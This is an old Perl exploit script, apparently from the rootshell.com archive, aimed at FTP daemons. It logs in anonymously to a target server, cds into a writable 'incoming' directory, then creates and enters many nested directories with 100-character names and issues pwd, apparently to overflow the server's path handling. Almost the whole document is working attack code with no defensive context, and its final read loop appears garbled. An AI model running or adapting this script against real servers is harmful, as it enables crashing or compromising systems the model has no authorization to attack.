Download NON-HTML Version | View Comments (0 comment(s))
#!/usr/local/bin/perl
# [ http://www.rootshell.com/ ]
#
# ftpd thingy
# bubba@bubba.org
#
$login="ftp"; #duh
$pass="ftp\@ftp.com"; #ditto
$cdstart="incoming"; #dir with write access to start making new dirs
$length=100; #length of dir names
$numdirs="15"; #number of dirs to create
#########################################################################
$ARGC=@ARGV;
if ($ARGC !=1) {
print "Usage: $0 \n";
exit;
}
use Socket;
$string="x" x $length;
my($remote,$port,$iaddr,$paddr,$proto,$line);
$remote=$ARGV[0];
$port = "21";
$iaddr = inet_aton($remote) or die "Error: $!";
$paddr = sockaddr_in($port, $iaddr) or die "Error: $!";
$proto = getprotobyname('tcp') or die "Error: $!";
socket(SOCK, PF_INET, SOCK_STREAM, $proto) or die "Error: $!";
connect(SOCK, $paddr) or die "Error: $!";
$count=$numdirs;
while ($count--) {
if ($count==$numdirs-1) {
$msg = "user $login\n";
send(SOCK, $msg, 0) or die "Cannot send query: $!";
$msg = "pass $pass\n";
send(SOCK, $msg, 0) or die "Cannot send query: $!";
$msg = "cwd $cdstart\n";
send(SOCK, $msg, 0) or die "Cannot send query: $!";
} elsif ($count==1) {
$msg = "pwd\n";
send(SOCK, $msg, 0) or die "Cannot send query: $!";
$msg = "quit\n";
send(SOCK, $msg, 0) or die "Cannot send query: $!";
} else {
$msg = "mkd $string\n";
send(SOCK, $msg, 0) or die "Cannot send query: $!";
$msg = "cwd $string\n";
send(SOCK, $msg, 0) or die "Cannot send query: $!";
$msg = "pwd\n";
send(SOCK, $msg, 0) or die "Cannot send query: $!";
}
}
while () {
print;
}
exit;